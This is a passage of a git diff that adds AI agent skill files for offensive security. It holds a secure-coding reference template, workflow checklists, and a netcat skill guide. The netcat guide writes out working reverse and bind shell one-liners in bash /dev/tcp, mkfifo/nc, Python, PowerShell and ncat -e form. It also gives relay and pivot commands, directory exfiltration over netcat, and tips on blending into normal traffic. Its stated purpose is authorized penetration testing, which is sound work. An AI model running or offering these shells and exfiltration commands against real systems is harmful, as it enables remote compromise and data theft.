identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/offsec/crack-hashcat/references/EXAMPLE.md b/skills/offsec/crack-hashcat/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/offsec/crack-hashcat/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/offsec/crack-hashcat/references/WORKFLOW_CHECKLIST.md b/skills/offsec/crack-hashcat/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/offsec/crack-hashcat/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map authentication and authorization flows +[ ] 3. Identify data flows and sensitive data handling +[ ] 4. Review existing security controls +[ ] 5. Document findings with framework references (OWASP, CWE) +[ ] 6. Prioritize findings by severity (CVSS scores) +[ ] 7. Generate report with remediation recommendations + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 2: Conditional Workflow + +Use this pattern when the workflow branches based on findings or conditions. + +### Vulnerability Remediation Workflow + +1. Identify vulnerability type + - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md) + - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md) + - If Authentication flaw → See [auth-remediation.md](auth-remediation.md) + - If Authorization flaw → See [authz-remediation.md](authz-remediation.md) + - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md) + +2. Assess severity using CVSS calculator + - If CVSS >= 9.0 → Priority: Critical (immediate action) + - If CVSS 7.0-8.9 → Priority: High (action within 24h) + - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week) + - If CVSS < 4.0 → Priority: Low (action within 30 days) + +3. Apply appropriate remediation pattern +4. Validate fix with security testing +5. Document changes and update security documentation + +--- + +## Pattern 3: Iterative Workflow + +Use this pattern for operations that repeat across multiple targets or items. + +### Code Security Review Workflow + +For each file in the review scope: +1. Identify security-sensitive operations (auth, data access, crypto, input handling) +2. Check against secure coding patterns for the language +3. Flag potential vulnerabilities with severity rating +4. Map findings to CWE and OWASP categories +5. Suggest specific remediation approaches +6. Document finding with code location and fix priority + +Continue until all files in scope have been reviewed. + +--- + +## Pattern 4: Feedback Loop Workflow + +Use this pattern when validation and iteration are required. + +### Secure Configuration Generation Workflow + +1. Generate initial security configuration based on requirements +2. Run validation script: `./scripts/validate_config.py config.yaml` +3. Review validation output: + - Note all errors (must fix) + - Note all warnings (should fix) + - Note all info items (consider) +4. Fix identified issues in configuration +5. Repeat steps 2-4 until validation passes with zero errors +6. Review warnings and determine if they should be addressed +7. Apply configuration once validation is clean + +**Validation Loop**: Run validator → Fix errors → Repeat until clean + +--- + +## Pattern 5: Parallel Analysis Workflow + +Use this pattern when multiple independent analyses can run concurrently. + +### Comprehensive Security Scan Workflow + +Run these scans in parallel: + +**Static Analysis**: +[ ] 1a. Run SAST scan (Semgrep/Bandit) +[ ] 1b. Run dependency vulnerability scan (Safety/npm audit) +[ ] 1c. Run secrets detection (Gitleaks/TruffleHog) +[ ] 1d. Run license compliance check + +**Dynamic Analysis**: +[ ] 2a. Run DAST scan (ZAP/Burp) +[ ] 2b. Run API security testing +[ ] 2c. Run authentication/authorization testing + +**Infrastructure Analysis**: +[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec) +[ ] 3b. Run container image scan (Trivy/Grype) +[ ] 3c. Run configuration review + +**Consolidation**: +[ ] 4. Aggregate all findings +[ ] 5. Deduplicate and correlate findings +[ ] 6. Prioritize by risk (CVSS + exploitability + business impact) +[ ] 7. Generate unified security report + +--- + +## Pattern 6: Research and Documentation Workflow + +Use this pattern for security research and documentation tasks. + +### Threat Modeling Workflow + +Research Progress: +[ ] 1. Identify system components and boundaries +[ ] 2. Map data flows between components +[ ] 3. Identify trust boundaries +[ ] 4. Enumerate assets (data, services, credentials) +[ ] 5. Apply STRIDE framework to each component: + - Spoofing threats + - Tampering threats + - Repudiation threats + - Information disclosure threats + - Denial of service threats + - Elevation of privilege threats +[ ] 6. Map threats to MITRE ATT&CK techniques +[ ] 7. Identify existing mitigations +[ ] 8. Document residual risks +[ ] 9. Recommend additional security controls +[ ] 10. Generate threat model document + +Work through each step systematically. Check off completed items. + +--- + +## Pattern 7: Compliance Validation Workflow + +Use this pattern for compliance checks against security standards. + +### Security Compliance Audit Workflow + +**SOC 2 Controls Review**: +[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3) +[ ] 2. Verify logical access controls implementation (CC6.1) +[ ] 3. Review authentication mechanisms (CC6.1) +[ ] 4. Verify encryption implementation (CC6.1, CC6.7) +[ ] 5. Review audit logging configuration (CC7.2) +[ ] 6. Verify security monitoring (CC7.2, CC7.3) +[ ] 7. Review incident response procedures (CC7.3, CC7.4) +[ ] 8. Verify backup and recovery processes (A1.2, A1.3) + +**Evidence Collection**: +[ ] 9. Collect policy documents +[ ] 10. Collect configuration screenshots +[ ] 11. Collect audit logs +[ ] 12. Document control gaps +[ ] 13. Generate compliance report + +--- + +## Pattern 8: Incident Response Workflow + +Use this pattern for security incident handling. + +### Security Incident Response Workflow + +**Detection and Analysis**: +[ ] 1. Confirm security incident (rule out false positive) +[ ] 2. Determine incident severity (SEV1/2/3/4) +[ ] 3. Identify affected systems and data +[ ] 4. Preserve evidence (logs, memory dumps, network captures) + +**Containment**: +[ ] 5. Isolate affected systems (network segmentation) +[ ] 6. Disable compromised accounts +[ ] 7. Block malicious indicators (IPs, domains, hashes) +[ ] 8. Implement temporary compensating controls + +**Eradication**: +[ ] 9. Identify root cause +[ ] 10. Remove malicious artifacts (malware, backdoors, webshells) +[ ] 11. Patch vulnerabilities exploited +[ ] 12. Reset compromised credentials + +**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/offsec/network-netcat/SKILL.md b/skills/offsec/network-netcat/SKILL.md new file mode 100644 index 0000000..acb0a8f --- /dev/null +++ b/skills/offsec/network-netcat/SKILL.md @@ -0,0 +1,566 @@ +--- +name: network-netcat +description: > + Network utility for reading and writing data across TCP/UDP connections, port scanning, file + transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and + port availability, (2) Creating reverse shells and bind shells for authorized penetration testing, + (3) Transferring files between systems in restricted environments, (4) Banner grabbing and service + enumeration, (5) Establishing covert communication channels, (6) Testing firewall rules and network + segmentation. +version: 0.1.0 +maintainer: sirappsec@gmail.com +category: offsec +tags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing] +frameworks: [MITRE-ATT&CK, PTES] +dependencies: + packages: [netcat, ncat] +references: + - https://nmap.org/ncat/guide/index.html + - https://attack.mitre.org/techniques/T1059/ +--- + +# Netcat Network Utility + +## Overview + +Netcat (nc) is the "Swiss Army knife" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind shells, file transfers, port scanning, and banner grabbing. + +**IMPORTANT**: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission. + +## Quick Start + +Basic connection and listening: + +```bash +# Listen on port 4444 +nc -lvnp 4444 + +# Connect to remote host +nc + +# Banner grab a service +echo "" | nc 80 + +# Simple port scan +nc -zv 1-1000 +``` + +## Core Workflow + +### Netcat Operations Workflow + +Progress: +[ ] 1. Verify authorization for network testing +[ ] 2. Test basic connectivity and port availability +[ ] 3. Perform banner grabbing and service enumeration +[ ] 4. Establish reverse or bind shells (if authorized) +[ ] 5. Transfer files between systems +[ ] 6. Create relay and pivot connections +[ ] 7. Document findings and clean up connections +[ ] 8. Remove any backdoors or persistence mechanisms + +Work through each step systematically. Check off completed items. + +### 1. Authorization Verification + +**CRITICAL**: Before any netcat operations: +- Confirm written authorization for network testing +- Verify in-scope targets and allowed activities +- Understand restrictions on shell access and data exfiltration +- Document emergency contact procedures +- Confirm cleanup requirements post-engagement + +### 2. Basic Connectivity Testing + +Test network connectivity and port availability: + +```bash +# TCP connection test +nc -vz + +# UDP connection test +nc -uvz + +# Test port range +nc -zv 20-30 + +# Verbose output +nc -v +``` + +**Connection test results**: +- **Connection succeeded**: Port is open and accepting connections +- **Connection refused**: Port is closed +- **Connection timeout**: Port is filtered by firewall or no response + +### 3. Banner Grabbing + +Extract service banner information: + +```bash +# HTTP banner grab +echo -e "GET / HTTP/1.0\r\n\r\n" | nc 80 + +# SMTP banner grab +echo "QUIT" | nc 25 + +# FTP banner grab +echo "QUIT" | nc 21 + +# SSH banner grab +nc 22 + +# Generic banner grab with timeout +timeout 2 nc +``` + +**Service-specific banner grabbing**: + +```bash +# MySQL banner +nc 3306 + +# PostgreSQL banner +nc 5432 + +# SMB/CIFS banner +nc 445 + +# RDP banner +nc 3389 +``` + +### 4. Port Scanning + +Simple port scanning (note: nmap is more comprehensive): + +```bash +# Scan single port +nc -zv 80 + +# Scan port range +nc -zv 1-1000 + +# Scan specific ports +for port in 21 22 23 25 80 443 3389; do + nc -zv $port 2>&1 | grep succeeded +done + +# Fast UDP scan +nc -uzv 53,161,500 +``` + +**Limitations of netcat port scanning**: +- Slower than dedicated port scanners +- Limited stealth capabilities +- No service version detection +- Better for quick ad-hoc testing + +### 5. Reverse Shells (Authorized Testing Only) + +Establish reverse shell connections from target to attacker: + +**Attacker machine (listener)**: +```bash +# Start listener +nc -lvnp 4444 + +# With verbose output +nc -lvnp 4444 -v +``` + +**Target machine (connector)**: + +```bash +# Linux reverse shell +nc 4444 -e /bin/bash + +# If -e not available (OpenBSD netcat) +rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 4444 > /tmp/f + +# Python reverse shell +python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' + +# Bash reverse shell +bash -i >& /dev/tcp//4444 0>&1 + +# Windows reverse shell (with ncat) +ncat.exe 4444 -e cmd.exe + +# PowerShell reverse shell +powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +``` + +**Upgrade reverse shell to interactive TTY**: + +```bash +# Python PTY upgrade +python -c 'import pty; pty.spawn("/bin/bash")' +python3 -c 'import pty; pty.spawn("/bin/bash")' + +# Background shell with Ctrl+Z, then: +stty raw -echo; fg +export TERM=xterm +export SHELL=/bin/bash +``` + +### 6. Bind Shells (Authorized Testing Only) + +Create listening shell on target machine: + +**Target machine (listener with shell)**: +```bash +# Linux bind shell +nc -lvnp 4444 -e /bin/bash + +# Without -e flag +rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f + +# Windows bind shell +ncat.exe -lvnp 4444 -e cmd.exe +``` + +**Attacker machine (connect to bind shell)**: +```bash +nc 4444 +``` + +**Bind shell vs Reverse shell**: +- **Bind Shell**: Target listens, attacker connects (blocked by outbound firewalls) +- **Reverse Shell**: Attacker listens, target connects (bypasses inbound firewall rules) + +### 7. File Transfers + +Transfer files between systems: + +**Receiving file (listener)**: +```bash +# Receive file on port 5555 +nc -lvnp 5555 > received_file.txt +``` + +**Sending file (connector)**: +```bash +# Send file to listener +nc 5555 < file_to_send.txt + +# With progress indication +pv file_to_send.txt | nc 5555 +``` + +**Directory/archive transfer**: + +```bash +# Sender: tar and compress directory, send via netcat +tar czf - /path/to/directory | nc 5555 + +# Receiver: receive and extract +nc -lvnp 5555 | tar xzf - +``` + +**Large file transfer with verification**: + +```bash +# Sender: calculate checksum before sending +md5sum large_file.iso +cat large_file.iso | nc 5555 + +# Receiver: receive and verify +nc -lvnp 5555 > large_file.iso +md5sum large_file.iso +``` + +### 8. Encrypted File Transfer + +Use ncat with SSL for encrypted transfers: + +```bash +# Receiver with SSL +ncat -lvnp 5555 --ssl > received_file.txt + +# Sender with SSL +ncat 5555 --ssl < file_to_send.txt + +# Generate self-signed certificate for ncat +openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key +ncat -lvnp 5555 --ssl --ssl-cert cert.pem --ssl-key cert.key +``` + +### 9. Relay and Pivoting + +Create relay connections through compromised hosts: + +```bash +# Simple relay: forward connections from port 8080 to internal host +mkfifo backpipe +nc -lvnp 8080 0 80 1>backpipe + +# Two-way relay +nc -lvnp 8080 -c "nc 80" + +# Use ncat for more reliable relay +ncat -lvnp 8080 --sh-exec "ncat 80" +``` + +**Pivot chain example**: + +```bash +# Compromised Host A (DMZ): relay to internal network +nc -lvnp 9090 -c "nc 192.168.1.100 3389" + +# Attacker: connect through pivot +nc 9090 +``` + +### 10. Chat and Communication + +Simple chat server for covert communication: + +```bash +# Host 1 (listener) +nc -lvnp 6666 + +# Host 2 (connector) +nc 6666 +``` + +**Two-way communication**: Both parties can type and messages appear on both sides. + +## Security Considerations + +### Authorization & Legal Compliance + +- **Written Permission**: Obtain explicit authorization for all netcat operations +- **Shell Access**: Reverse/bind shells are invasive, require clear authorization +- **Data Exfiltration**: File transfers may trigger DLP alerts +- **Covert Channels**: Relay connections can bypass security controls +- **Cleanup**: Remove all shells, listeners, and backdoors post-engagement + +### Operational Security + +- **Encryption**: Use ncat with --ssl for encrypted connections +- **Logging**: Netcat leaves minimal forensic artifacts but connections are logged +- **Detection**: IDS/IPS may detect common reverse shell patterns +- **Egress Filtering**: Outbound connections may be blocked +- **Port Selection**: Use common ports (80, 443, 53) to blend with normal traffic + +### Audit Logging + +Document all netcat activities: +- Connection timestamps and duration +- Source and destination IP addresses and ports +- Type of operation (shell, file transfer, relay) +- Commands executed through shells +- Files transferred +- Any errors or connection failures + +### Compliance + +- **MITRE ATT&CK**: + - T1059.004 (Unix Shell) + - T1071.001 (Web Protocols) + - T1090 (Proxy/Multi-hop Proxy) + - T1105 (Ingress Tool Transfer) +- **PTES**: Exploitation and post-exploitation phases +- **OWASP**: Command injection testing methodology + +## Common Patterns + +### Pattern 1: Web Server Vulnerability Validation + +```bash +# Test for command injection vulnerability +echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc 80 + +# SQL injection parameter testing +echo -e "GET /page?id=1' OR '1'='1 HTTP/1.0\r\n\r\n" | nc 80 + 